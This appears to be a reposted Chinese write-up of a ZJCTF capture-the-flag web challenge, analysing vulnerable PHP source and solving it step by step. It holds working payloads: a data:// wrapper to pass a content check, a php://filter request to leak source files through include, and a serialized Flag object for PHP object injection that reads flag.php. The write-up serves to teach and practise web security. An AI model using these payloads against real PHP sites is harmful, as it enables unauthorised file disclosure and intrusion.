标签:use this div ctf clu pos 提示 func exit
题目源码如下
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,‘r‘)==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,‘r‘)."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
源码分析
if(isset($text)&&(file_get_contents($text,‘r‘)==="welcome to the zjctf"))
需要让$text输入 ”welcome to the zjctf“ 传入文件中才能进行后面的步骤, 这里可以用php://input伪协议在以POST形式传入“ welcome to the zjctf " 也可以用data伪协议传参
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
接着看到
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
直接正则过滤掉flag关键字,提示一个useless.php 用php://filter协议来读取
结合题目构造payload
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
base64解码获得useless.php源码
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
根据源代码在本地获得序列化结果
<?php class Flag{ public $file=‘flag.php‘; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $password=new Flag(); $password = serialize($password); echo $password; ?>
结果为
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终的payload为
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
flag在F12源代码里面
标签:use this div ctf clu pos 提示 func exit
原文地址:https://www.cnblogs.com/gaonuoqi/p/12255777.html